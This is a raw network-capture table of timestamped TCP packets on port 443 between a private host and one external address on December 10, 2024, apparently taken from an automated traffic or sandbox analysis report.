Dec 10, 2024 12:48:35.028651953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.028851986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.031209946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.031217098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.031461954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.038197041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.079343081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.629138947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.629168987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.629188061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.629237890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.629267931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.629287004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.629333973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.806282997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.806315899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.806509018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.806540966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.806693077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.846128941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.846151114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.846227884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.846239090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.846295118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.967621088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.967649937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.967715979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.967727900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.967777014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.996810913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.996838093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.996891975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.996900082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.996932983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:35.996947050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.017302036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.017322063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.017385006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.017416000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.017534018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.041217089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.041239023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.041279078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.041285992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.041312933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.041332006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.163527012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.163553953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.163618088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.163641930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.163664103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.163685083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.181509972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.181539059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.181581020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.181596041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.181611061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.181639910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.198684931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.198712111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.198760986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.198765993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.198801041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.198817015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.215863943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.215884924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.215930939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.215936899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.215980053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.231098890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.231120110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.231199980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.231204987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.231249094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.246932983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.246957064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.246999025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.247004986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.247051001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.263931036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.263952017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.263991117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.263998032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.264028072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.264044046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.281075001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.281102896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.281131983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.281138897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.281187057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.281215906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.358289003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.358323097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.358378887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.358386040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.358432055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.371831894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.371851921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.371896029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.371906042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.371943951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.371957064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.384083986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.384116888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.384157896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.384175062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.384188890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.384217978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.395725965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.395741940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.395796061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.395802975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.395843029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.406086922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.406107903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.406167030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.406172991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.406224012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.412067890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.412086010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.412158012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.412163973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.412199020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.417967081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.417984962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.418034077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.418041945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.418085098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.421574116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.423994064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.424017906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.424057007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.424062014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.424086094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.424104929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.446054935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.547139883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.547171116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.547226906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.547244072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.547267914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.547282934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.552979946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.553002119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.553041935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.553047895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.553088903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.553248882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.559003115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.559035063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.559065104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.559070110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.559119940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.564436913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.564462900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.564492941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.564497948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.564536095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.570578098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.570600033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.570635080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.570641041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.570662975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.570673943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.571429968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.575828075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.575849056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.575891972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.575898886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.575948000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.581867933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.581888914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.581926107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.581931114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.581957102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.581975937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.587776899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.587798119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.587831974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.587836027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.587865114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.587878942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.596245050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.739454985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.739486933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.739543915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.739576101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.739618063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.745466948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.745484114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.745533943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.745565891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.745680094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.750808954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.750834942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.750891924 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.750910997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.750968933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.756987095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.757004023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.757067919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.757088900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.757150888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.757421970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.762352943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.762371063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.762424946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.762443066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.762455940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.762478113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.768413067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.768428087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.768481016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.768501997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.768609047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.769841909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.774369001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.774384022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.774452925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.774470091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.774564028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.779540062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.779553890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.779607058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.779619932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.779685020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.819672108 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.941678047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.941708088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.941777945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.941806078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.941905975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.947652102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.947675943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.947722912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.947745085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.947761059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.947803020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.952925920 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.952946901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.953005075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.953011036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.953041077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.953057051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.958887100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.958910942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.958962917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.958969116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.959022045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.959958076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.965044975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.965068102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.965121984 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.965127945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.965223074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.970479965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.970500946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.970551014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.970556974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.970587015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.970604897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.972553968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.976469994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.976490974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.976538897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.976545095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.976583004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.976602077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.981858015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.981877089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.981916904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.981923103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:36.981962919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:36.981995106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.022753954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.076468945 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:37.133811951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.133841038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.133896112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.133913040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.133960009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.139889956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.139905930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.139961958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.139971018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.140029907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.145152092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.145169973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.145243883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.145266056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.145355940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.151196003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.151212931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.151273012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.151282072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.151328087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.156714916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.156730890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.156773090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.156778097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.156817913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.156836987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.161681890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.162626982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.162645102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.162770987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.162777901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.162821054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.168715954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.168731928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.168787956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.168792963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.168839931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.173877001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.173892975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.173970938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.173979044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.174014091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.199157000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.326178074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.326205015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.326240063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.326261997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.326313019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.326405048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.332035065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.332062960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.332092047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.332108021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.332135916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.332154989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.337327957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.337349892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.337389946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.337399006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.337428093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.337444067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.343461037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.343485117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.343529940 CET	49729	443	192.168.2.17	47.254.218.16
